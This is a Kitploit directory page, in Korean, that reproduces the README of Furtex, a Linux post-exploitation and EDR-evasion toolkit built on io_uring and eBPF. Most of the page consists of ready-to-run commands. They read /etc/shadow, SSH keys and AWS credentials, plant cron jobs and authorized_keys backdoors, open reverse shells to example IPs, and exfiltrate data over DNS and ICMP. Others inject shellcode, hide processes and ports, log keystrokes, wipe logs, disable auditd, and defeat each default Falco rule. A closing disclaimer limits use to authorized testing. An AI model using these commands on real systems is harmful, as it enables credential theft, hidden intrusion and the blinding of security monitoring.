Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Furtex — Linux용 포스트 익스플로잇 및 회피 연구 툴킷. | Kitploit
도구/GitHubGitHub/matheuzsecurity/furtex
Privilege EscalationExploitationPost-ExploitationMalware AnalysisPenetration TestingCommand and ControlBinary AnalysisRed TeamingPayload Development
GitHubmatheuzsecurity/furtex

Furtex

Linux용 포스트 익스플로잇 및 회피 연구 툴킷.

2613029일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

Furtex

io_uring과 eBPF를 기반으로 구축된 Linux용 포스트 익스플로잇 및 탐지 회피 연구 툴킷입니다. liburing도, 프레임워크도 없이 전체적으로 raw syscall만 사용합니다.

더 많은 도구가 곧 추가됩니다. PR은 언제나 환영합니다. 🇧🇷

Rootkit Researchers에 참여하세요

  • https://discord.gg/66N5ZQppU7

승인된 연구 및 레드 팀 작업 전용입니다. 소유하지 않은 시스템에서 실행하지 마세요.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

root@kitploit:~
## 요구 사항

**툴체인**

| 도구 | 필요 용도 |
|---|---|
| `gcc` | 모든 사용자 공간 바이너리 |
| `clang` | `ebpf/*.bpf.c` BPF 측 프로그램 |
| `make` | 빌드 시스템 |

**헤더 및 라이브러리**

| 패키지 | 필요 용도 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` 및 관련 커널 헤더 |
| `libbpf-dev` | `ebpf/` 프로그램에서 사용되는 `<bpf/bpf_helpers.h>` 및 관련 파일들 |
| `bpftool` | `ebpf/` 내부에서 `make vmlinux`를 통해 `vmlinux.h` 생성 |

Debian/Kali/Ubuntu에서:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

커널 버전

최소 버전활성화되는 기능
5.4io_uring 기본 (IORING_FEAT_SINGLE_MMAP, BPF 맵 반복)
5.6IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8CAP_BPF + CAP_PERFMON 분리 (BPF에서 CAP_SYS_ADMIN 대체)
5.9BPF_LINK_DETACH (bpf_link_detach)
5.19IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)

Capabilities

ebpf/ 프로그램용 make vmlinux를 실행하려면 커널에서 BTF를 활성화해야 합니다 (CONFIG_DEBUG_INFO_BTF=y).

오래된 libc-dev 헤더를 사용하는 배포판(Ubuntu 22.04 등)에서는 #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45가 필요할 수 있습니다. 이 저장소에서는 이미 처리되어 있습니다.

빌드

edrs/에는 권한별로 나뉜 ~75개의 바이너리를 빌드하는 자체 하위 Makefile이 있습니다:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

root@kitploit:~
See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) for the full breakdown.

## io_uring bypass coverage

io_uring SQE는 커널 workqueue를 통해 처리됩니다. `io_uring_enter(2)`는 `sys_call_table`을 통해 호출하지 않으며, `sys_enter_*` 트레이스포인트를 발생시키지 않고, `native_sys_call`에 대한 livepatch에도 걸리지 않습니다. 이 사실만으로도 아무것도 건드리지 않고 많은 종류의 EDR 후크를 무력화합니다.

io_uring이 단독으로 우회하는 대상:

| 후크 지점 | 설명 |
|---|---|
| `sys_call_table` 포인터 교체 | io_uring은 syscall 테이블을 거치지 않음 |
| `native_sys_call` / `compat_sys_call`에 대한 livepatch | 동일한 이유 |
| `sys_enter_*` 트레이스포인트 | workqueue 경로를 사용하므로 트레이스포인트가 발생하지 않음 |

io_uring이 단독으로 우회하지 못하는 대상 (능동적인 도구가 필요):

| 후크 지점 | 도구 | 도구의 기능 |
|---|---|---|
| `vfs_read`, `security_file_open` 등에 대한 kprobes | `ftrace_enum` | kprobe 후크를 제거함 |
| BPF LSM / KRSI | `bpf_link_detach` | BPF 링크를 분리함 |
| Linux audit | `audit_kill` | NETLINK_AUDIT를 통해 auditd를 비활성화함 |
| LD_PRELOAD / PLT-GOT 패치 | `plt_unhook` | 사용자 공간 후크를 제거함 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | 레이어 2에서 AF_PACKET을 사용하여 netfilter를 건너뜀 |
| `inet_stream_connect` 후크 | `udp_shell` | UDP를 사용하며 tcp connect 경로를 호출하지 않음 |

## io_uring/

`iouring_utils.h`는 liburing 없이 링 구성을 처리합니다.

| binary | 기능 |
|---|---|
| `file_read` | io_uring을 통한 OPENAT+READ+CLOSE 체인, sys_enter_read 이벤트 없음 |
| `file_write` | OPENAT+WRITE+CLOSE 체인 |
| `file_append` | file_write와 동일하지만 O_APPEND, offset -1 사용 |
| `net_connect` | 하나의 링에서 SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT를 통한 리버스 셸 |
| `multifile_read` | 하나의 SQE 배치에서 최대 64개 파일 |
| `memfd_exec` | stdin을 통해 ELF를 memfd로 스트리밍하고 /proc/self/fd를 통해 execve 실행 |
| `proc_inject` | /proc/PID/mem을 통한 JIT 인젝션; ptrace 인젝션(--ptrace 플래그) |
| `pipe_splice` | 커널 간 SPLICE, 사용자 공간 후크는 바이트를 볼 수 없음 |
| `inotify_bypass_watch` | io_uring READ는 IN_ACCESS/IN_OPEN을 발생시키지 않음 |
| `dns_exfil` | io_uring SENDMSG를 통해 데이터를 DNS 쿼리 라벨로 hex 인코딩 |
| `af_packet_send` | AF_PACKET을 통한 raw Ethernet (IORING_OP_SOCKET, inet 경로 우회) |
| `xdp_socket_send` | AF_XDP + UMEM 링을 통한 raw 프레임, netfilter를 완전히 우회 |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

대부분의 도구는 CAP_BPF가 필요합니다. env_exfil은 권한 없이 동작합니다. icmp_trigger는 CAP_BPF 대신 CAP_NET_RAW가 필요합니다.

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

root@kitploit:~
## ebpf/

clang + libbpf + vmlinux.h가 필요합니다. `ebpf/` 안에서 `make vmlinux`를 실행하여 실행 중인 커널의 BTF에서 생성하십시오.

| 파일 | 역할 |
|---|---|
| `exec.bpf.c` | sys_enter_execve 트레이스포인트 |
| `fentry_open.bpf.c` | sys_enter_openat 트레이스포인트 |
| `creds.bpf.c` | 자격 증명 경로에 대한 openat+read 추적 |
| `keylog.bpf.c` | 입력 이벤트 트레이스포인트, 원시 키코드 캡처 |
| `net.bpf.c` | sys_enter_connect 로깅 |
| `net_hide.bpf.c` | /proc/net/tcp 및 /proc/net/udp에서 포트 숨기기 |
| `proc_hide.bpf.c` | getdents64 출력에서 PID 숨기기 |
| `tty_sniff.bpf.c` | stdin/stdout/stderr 쓰기 및 읽기 캡처 |
| `skf_c2_runner.c` | 클래식 BPF 소켓 필터를 통한 ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | 매직 UDP 패킷에 대한 XDP 트리거 |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

edrs/

sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>

root@kitploit:~
## techniques/ (Falco 우회)

Falco의 기본 규칙 세트(`modern_ebpf` 드라이버, 25개 규칙)를 대상으로 합니다. 먼저 `edrs/edr_recon`을 실행하세요.

우회 축 A: 이벤트가 Falco에 도달하지 못하게 차단합니다 (io_uring은 `sys_enter_*`를 건너뛰고, ringbuf 드레인은 이벤트를 조용히 버립니다).
우회 축 B: 이벤트가 Falco에 도달하지만 규칙 조건이 일치하지 않습니다 (proc.name 스푸핑, 경로 피벗, 대체 플래그).

| 도구 | 축 | Falco 규칙 |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | 모두 |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | 모두 |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | 모두 |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | 25개 모두 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log

기여

PR을 열어 주세요. 단일 목적 도구, 원시 syscall, 새로운 의존성 없음.

법적 고지

이 프로젝트는 보안 연구, 승인된 침투 테스트, CTF 대회, 방어적 도구 개발을 위해서만 제작되었습니다. 여기에 시연된 모든 기법은 공개 보안 연구 및 커널 문서에 문서화되어 있습니다.

소유하지 않았거나 명시적인 서면 승인을 받지 않은 시스템에 이 툴킷을 사용하지 마십시오. 무단 사용은 컴퓨터 사기 및 남용법(CFAA), EU의 정보 시스템 공격에 관한 지침, 그리고 해당 관할권의 동등한 법률을 위반할 수 있습니다.

저자는 오용에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 관련 법률 준수에 대한 전적인 책임이 있음에 동의합니다.

도구 다운로드
capability필요로 하는 도구
CAP_BPF (또는 5.8 이전의 CAP_SYS_ADMIN)모든 bpf/ 도구, ebpf/ 로더
CAP_PERFMONebpf/ tracepoint 및 kprobe 프로그램
CAP_NET_RAWicmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMINxdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROLaudit_kill
명령어빌드 대상
make all전체
make uringio_uring/만
make bpfbpf/ 사용자 공간 도구
make ebpfBPF 측 프로그램 (clang + libbpf 필요)
make edrs모든 edrs/ 바이너리
make techniquesFalco 우회 도구
make clean모든 바이너리 제거
binary기능
map_recon로드된 모든 BPF 맵 나열
map_dumperID별로 맵 내용 덤프
map_writeID별로 맵 항목 업데이트
map_poison페이로드 주변의 Falco interesting_sys 항목을 0으로 만들기
prog_reconBPF 프로그램 나열: 유형, 이름, 맵 수
pid_allowlistEDR 허용 목록 맵에 PID 삽입
edr_fin로드된 BPF 맵/프로그램을 알려진 EDR 휴리스틱과 대조해 점수 매기기
lsm_check활성 BPF LSM 후크 감지 및 맵 쓰기 차단 여부 테스트
bpf_persistbpffs에서 맵과 프로그램 pin/검색/unpin
map_snapshot맵 내용을 바이너리 파일로 저장 및 복원
env_exfil비밀 정보를 위해 /proc/*/environ 읽기
bpf_link_detachBPF 링크 열거 및 분리(LSM 후크 제거)
link_updateBPF 링크를 no-op 프로그램으로 리디렉션(후크는 보이지만 아무것도 실행하지 않음)
map_freezeBPF_MAP_FREEZE를 통해 BPF 맵을 읽기 전용으로 고정(쓰기 시 -EPERM 반환)
icmp_triggerICMP 매직 패킷 백도어; socketpair 릴레이를 통해 리버스 셸 생성; kworker/u4:2로 가장
sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port>
바이너리루트기법
edr_reconyes12개 벤더 EDR 탐지기: 프로세스, 아티팩트, 모듈, BPF, kprobes
bpf_prog_reconyes로드된 BPF 프로그램, 맵, kprobes 열거
bpf_map_wipeyesBPF 맵 항목 삭제
bpf_detach_allyes모든 BPF 링크 분리
tetragon_blindyesTetragon/Falco 프로세스 스캔, 정지, 해제, 종료 또는 블라인드 처리
ftrace_enumyeskprobe/ftrace 훅 열거 및 제거
lkm_unloadyes커널 모듈 언로드
lkm_inline_detectyes인라인 커널 훅 탐지
perf_bpf_killyesFalco perf-event BPF 프로그램 열거 및 종료
module_reconyes커널 모듈 열거
cgroup_freezeyescgroup v2를 통한 프로세스 정지/해제
oom_cageyes자신 또는 대상에 대한 oom_score_adj 설정
sysctl_blindyes보안 관련 sysctl 읽기/쓰기
audit_killyesNETLINK_AUDIT를 통한 Linux audit 비활성화/제한
inotify_exhaustyes모든 inotify watch 소진
netfilter_flushyesnetfilter 체인 플러시
dmesg_wipeyes커널 링 버퍼 클리어
ld_so_preloadyes/etc/ld.so.preload 조작
proc_hideyes바인드 마운트를 통한 /proc/PID 숨기기
mount_overyes임의 경로 위에 바인드 마운트
log_wipeyes로그 파일 및 셸 히스토리 잘라내기
elf_infectyesPT_NOTE를 PT_LOAD로 변환하는 기생 주입
proc_mem_injectyes/proc/PID/mem에 pwrite, ptrace attach 없음
af_packet_shellyesnetfilter OUTPUT을 우회하는 raw Ethernet C2
icmp_tunnelyesICMP echo-request 페이로드를 통한 데이터 유출
event_floodyes모니터를 포화시키기 위해 페이로드 주변에 이벤트 플러드
livepatch_bypassyessyscall 디스패처의 livepatch 훅을 우회하는 io_uring
livepatch_stack_blindyeslivepatch + BPF kprobe + netfilter 훅 스택 비활성화; comm 스푸핑을 통한 모듈 언로드
lsm_authlink_blindyesLSM auth-link 흐름 비활성화, 인증 에이전트 정지 또는 종료, inode 스왑을 통한 쓰기
lsm_callback_bypassyespidfd_getfd, process_vm_writev, perf+BPF attach, 새 netns를 통한 LSM 콜백 우회
bpf_fim_blindyesBPF FIM 센서 정지, 링 버퍼 맵 항목 삭제, ringbuf 플러드
syscall_dispatch_bypassyessyscall 디스패치의 kprobes와 livepatch do_syscall_64를 우회하는 io_uring 파일/네트워크 작업
bpf_kprobe_bypassyes_x64_sys* kprobe 대상을 우회하는 io_uring 파일/네트워크/실행 작업
ptrace_inject_soyesptrace + dlopen을 통해 실행 중인 프로세스에 .so 로드
uring_stealthnoio_uring을 통한 파일/네트워크 작업, sys_enter_* 이벤트 없음
openat2_bypassno대체 syscall (openat2, copy_file_range)
ptrace_selfguardno가디언 프로세스를 통한 외부 ptrace 차단
plt_unhooknodlmopen을 통한 PLT-GOT 훅 탐지 및 우회
fexecve_dropnoELF를 memfd에 넣고 /proc/self/fd를 통한 execve
memfd_loadernomemfd를 통한 .so 로드, 생성자 호출
memfd_userexecnostdin의 ELF를 memfd에 넣고 /proc/self/fd를 통한 execve
hollow_procnops에 디코이 이름을 표시하는 프로세스 할로잉
argv_spoofnoprctl(PR_SET_NAME)을 통한 comm 이름 변경 및 argv[0] 덮어쓰기
clone_netnsno권한 없는 네트워크 네임스페이스 실행
ns_execnouser/pid/mount 네임스페이스 unshare
splice_c2no데이터 전송에 splice(2)를 사용하는 TCP C2; send/recv 훅이 절대 발동하지 않음
abstract_sock_c2no추상 Unix 소켓을 통한 C2
udp_shellnoinet_stream_connect를 우회하는 UDP 리버스 셸
tls_shellno가짜 TLS ClientHello 뒤에 숨은 리버스 셸
dns_exfil_rawno데이터를 DNS 쿼리 라벨로 hex 인코딩
pidfd_stealnopidfd_getfd를 통한 다른 프로세스의 열린 fd 탈취
vma_hidenoRWX에서 PROT_NONE으로 순환, MADV_DONTDUMP, VMA 이름 변경
coredump_blocknofilter/dumpable/rlimit을 통한 코어 덤프 차단
seccomp_notifynoSECCOMP_USER_NOTIF를 통한 syscall 가로채기
ipc_covertnoPOSIX mqueue를 통한 C2
shared_mem_c2noPOSIX shm을 통한 C2, 네트워크 트래픽 없음
pipe_exfilnosplice(2) 데이터 유출, LD_PRELOAD 훅 블라인드 처리
proc_fd_scanno민감한 경로를 찾기 위해 /proc/PID/fd 심링크 스캔
proc_vm_injectnoprocess_vm_writev, /proc/PID/fd를 열지 않음
self_deleteno실행 중인 자신의 바이너리를 디스크에서 삭제
time_stompnoatime+mtime 복제/제로화/설정
userland_persistnobashrc/crontab/autostart/authorized_keys
env_scrapeno비밀 정보 및 SSH 소켓을 위해 /proc/*/environ 읽기
anon_shellcodenoMAP_ANONYMOUS의 셸코드, 파일 없음, execve 없음
ld_preload_injectno.so 드롭 후 LD_PRELOAD로 주입
ssh_agent_hijackno탈취한 소켓을 통해 에이전트 프로토콜로 통신
fanotify_bypassnofanotify 마크를 피하기 위한 memfd/anon-mmap/devshm
ringbuf_floodno이벤트 드롭을 위해 BPF ringbuf 포화
log_evasionnoio_uring 파일 작업 및 raw-syscall TCP 셸, libc 래퍼 없음
syscalltable_bypassnosys_call_table 포인터 훅을 우회하는 io_uring
uring_recon_unprivnoio_uring read를 통한 자격 증명, 키, 연결 정보
fd_steal_readnopidfd_getfd로 fd 탈취, 자체 open() 없이 읽기
mmap_readnommap으로 파일 읽기, read() syscall 없음
scm_rights_exfilnoSCM_RIGHTS로 fd 전달, 자체 open() 없이 읽기
splice_readnosplice(2)로 읽기, 사용자 공간 버퍼 없음
sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps
규칙우회도구
1 디렉터리 트래버설을 통한 모니터링 파일 읽기io_uring OPENATuring_ops cat, per_rule_bypass dir-traversal
3 신뢰할 수 없는 민감 파일 읽기io_uring 또는 prctluring_ops creds, bypass_file_rules read-masked
4 신뢰할 수 없는 셸 실행sh 대신 python3/perlrule_evade unusual-shell
6 컨테이너의 터미널 셸setsid, proc.tty=0bypass_proc_rules shell-notty
7 K8S API 서버 접촉io_uring CONNECTuring_ops shell, per_rule_bypass k8s-connect
8 Netcat RCEC 바이너리, proc.name != nc/ncatbypass_proc_rules reverse-shell
9 개인 키 검색C에서 open+read, grep/find 없음bypass_file_rules grep-bypass
10 로그 활동 삭제O_TRUNC 없는 ftruncatebypass_file_rules log-clear
11 대량 데이터 삭제write 루프, shred/mkfs 없음bypass_file_rules wipe
15 STDOUT/STDIN을 네트워크로 리디렉션dup2 대신 fcntl F_DUPFDbypass_proc_rules reverse-shell
18 release_agent 이스케이프 탐지release_agent에 대한 io_uring OPENAT+WRITEcgroup_escape proof/shell, uring_ops write
19 프로세스에 PTRACE 부착/proc/PID/mem 또는 process_vm_writevbypass_proc_rules proc-inject
20 PTRACE 안티디버그 시도/proc/self/status를 통한 TracerPid 확인bypass_proc_rules anti-debug
22 /dev/shm에서 실행대신 /run/user/uid/에서 execbypass_proc_rules run-safe
25 memfd_create를 통한 파일리스 실행mmap을 통한 셸코드, execve 없음exe_from_memfd_bypass sc, proc_ghost ghost-sc
모두ringbuf 드레인 또는 scap.ko 제거ringbuf_overflow, kmod_unload